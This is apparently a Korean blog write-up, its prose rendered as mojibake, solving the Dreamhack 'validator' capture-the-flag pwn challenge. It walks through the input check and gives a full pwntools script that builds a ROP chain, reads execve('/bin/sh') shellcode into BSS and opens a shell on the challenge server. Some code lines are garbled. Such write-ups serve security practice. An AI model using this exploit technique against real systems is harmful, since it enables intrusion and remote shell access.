Jastes 2022. 11. 6. 23:50


validator

๋ฌธ์ œ ํ’€์ด

?? ๋นจ๊ฐ„ ๋ฐ”์ด๋„ˆ๋ฆฌ?

๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ๊ฑฐ์˜ ์—†๋‹ค๊ณ  ํ•  ์ •๋„๋„ค์š”..?
์ฐธ๊ณ ๋กœ ์ด๋ฒˆ ๋ฌธ์ œ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋งŒ ์ฃผ์–ด์„œ ์ด๋ ‡๊ฒŒ IDA๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹น

๊ธฐ๋ณธ์ ์œผ๋ก  ์œ„์™€ ๊ฐ™์ด ํ˜•์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค emeset์„ ํ•œ ํ›„ validate ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๋„ค์š”
๊ทธ ์ธ์ž๋กœ๋Š” s์™€ 128์„ ์ฃผ๊ณ ์š”

ํ•ด๋‹น validate ํ•จ์ˆ˜

๊ฐ ๋ฐ˜๋ณต๋ฌธ๋งˆ๋‹ค ์กฐ๊ฑด๋ฌธ์ด ์žˆ๋„ค์š”

ํ•ด๋‹น ์กฐ๊ฑด๋ฌธ ์ค‘ ํ•˜๋‚˜์ธ๋ฐ

์ฃผ์„์œผ๋กœ DREAMHACK์ด๋ผ๊ณ  ์•Œ๋ ค์ฃผ๋„ค์š”..
๋ฆฌ๋ฒ„์‹ฑ ๋ชปํ•˜๋Š”๋ฐ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค ใ… ใ… 

์šฐ์„  ์ธ์ž๋กœ ๋„˜๊ธด ๋ฐฐ์—ด์ด DREAMHACK!์œผ๋กœ ์‹œ์ž‘ํ•˜๋ฉฐ, ์œ„์— ํ•จ์ˆ˜์—์„œ
j = 11๋ถ€ํ„ฐ j < 0x128๋งŒํผ s์˜ ๊ฐ ๋ฌธ์ž๊ฐ€ ์—†์–ด์ง€๋‚˜์š”?

๋จผ์ € ์ž…๋ ฅ ๊ฐ’์— ๋Œ€ํ•ด DREAMHACK! ๋ฌธ์ž์—ด๊ณผ ํ•œ ๋ฐ”์ดํŠธ์”ฉ ๋น„๊ตํ•˜๊ณ , 9 ๊ฐœ์˜ ๋ฌธ์ž ์ค‘ ๋™์ผํ•˜์ง€ ์•Š์€
๋ฌธ์ž๊ฐ€ ์žˆ๋‹ค๋ฉด exit ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ํ”„๋กœ๊ทธ๋žจ์„ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

์œ„ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด์—์„œ
์ฒซ ๋ฒˆ์งธ ๋ฌธ์ž๊ฐ€ ๋‘ ๋ฒˆ์งธ ๋ฌธ์ž์™€ 1์„ ๋”ํ•œ ๊ฐ’์ด๋ž‘ ๋™์ผํ•œ์ง€ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ณผ์ •์„ ๋ฐ˜๋ณต๋ฌธ์„ ํ†ตํ•ด 128๋ฒˆ๋งŒํผ ๋น„๊ตํ•˜๊ฒŒ๋ฉ๋‹ˆ๋‹ค.
๋งŒ์•ฝ 128๋ฒˆ ๋ฃจํ”„ ๋™์•ˆ ํ•ด๋‹น ์กฐ๊ฑด์„ ๋งŒ์กฑํ•˜์ง€ ๋ชปํ•œ๋‹ค๋ฉด exit ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ํ”„๋กœ๊ทธ๋žจ์„ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

์ด๋ฅผ ๋‹ค ํ†ต๊ณผํ•ด์•ผ ๋’ค์— ๋ง๋ถ™์ธ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋˜๊ฒ ๊ตฐ์š”..


Exploit ์„ค๊ณ„

์•„๋ฌด๋ฆฌ ์ƒ๊ฐํ•ด๋„.. ๋ญ์ง€? ์‹ถ๋„ค์š” path ๊ฒฝ๋กœ ์กฐ์ž‘๊ฐ™์•˜๋Š”๋ฐ..
๋˜ OverWrite์ธ๊ฐ€์š” ใ… ใ… 

shellcode๋ฅผ BSS์˜์—ญ์— ๋„ฃ์–ด์„œ RTL ํ˜•์‹์œผ๋กœ ํ•˜๋ฉด ๋  ๋“ฏ ํ•ฉ๋‹ˆ๋‹ค
๋จผ์ € ๋จผ์ € ๋‘ ๊ฐœ์˜ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•˜๋Š” ๋ฌธ์ž์—ด์„ ์ƒ์„ฑํ•˜๋Š” ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

payload = "DREAMHACK!"

for i in range(0xff, 0xff-126, -1):
 payload += chr(i)

์ด๊ฑธ๋กœ ๋ฐฑ๋‚ ํ•ด๋ดค์ž byte error ๋œจ๋Š”๋ฐ ํ•˜.. ์ €๊ฑธ๋กœ ํ•ด๋„ ๋น„์Šทํ•˜๊ธด ํ•˜๋˜๋ฐ

์ด๋ ‡๊ฒŒ ์ฐพ์•„์„œ ๋‹ค ๋„ฃ์—ˆ์Šต๋‹ˆ๋‹ค ์ง์ ‘ ์ฃผ์†Œ๋ฅผ..

๊ทธ๋ฆฌ๊ณ  shell์˜ ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ์งœ๋˜๊ฐ€ ์ฐพ๋˜๊ฐ€ shellcraft๋ฅผ ์‚ฌ์šฉํ•˜๋˜๊ฐ€์ธ๋ฐ
์ €๋Š” pwn์—์„œ ์žˆ๋Š” ๊ฑฐ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค sh๋‚˜ execve๋„ ๋‹ค ์‹œ๋„ ํ•ด๋ณด์•˜์Šต๋‹ˆ๋‹ค.

๋‚˜๋จธ์ง€๋Š” RTL์—์„œ ํ–ˆ๋˜ ๋‚ด์šฉ์ด๋ฏ€๋กœ ํฐ ์„ค๋ช…์€ ํ•˜์ง€ ์•Š๊ฒ ์Šต๋‹ˆ๋‹ค.


Exploit

์œ„์—์„œ ๋‹ค ์„ค๋ช…ํ–ˆ์œผ๋‹ˆ ์ถ”๊ฐ€์ ์ธ ๋ถ€๋ถ„๋งŒ ๊ฐ„๋‹จํžˆ ์„ค๋ช…ํ•˜๊ณ  ๋„˜์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
 
context.arch = 'x86_64'
 
= remote("host3.dreamhack.games"22292)
 
payload = b"DREAMHACK!"
 
for i in range(0xff0xff-126-1):
    #payload += chr(i)
    payload += i.to_bytes(1, byteorder='little')
 
poprdi = 0x4006f3
poprsir15 = 0x4006f1
poprdx = 0x40057b
bss = 0x60104B
read_plt = 0x400470
 
#shellcode = asm(shellcraft.sh())
shellcode = asm(shellcraft.execve("/bin/sh",0,0))
 
payload += p64(poprdi)
payload += p64(0)
 
payload += p64(poprsir15)
payload += p64(bss)
payload += p64(0)       
 
payload += p64(poprdx)
payload += p64(len(shellcode))
 
payload += p64(read_plt)
payload += p64(bss)
 
p.sendline(payload)
 
#pause() # or sleep
 
p.sendline(shellcode)
 
p.interactive()
 
cs

์ด ์‰ฌ์šด ๋ฌธ์ œ๋ฅผ ์Œ‰์งˆ์„ ์™€ ใ…‹ใ…‹ ์ง„์งœ ๋‹ค์‹œ ์ƒ๊ฐํ•ด๋„ ๋นก์น˜๋ฉด์„œ ์งœ๋ฆฟํ–ˆ๋„ค์š”
์ข€๋งŒ ๋” ํ–ˆ์œผ๋ฉด ๊ณผ์ œ ๋ฏธ๋‚ฉ์ด์˜€๋„ค์š” ์™€์šฐ ใ…‹ใ…‹


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€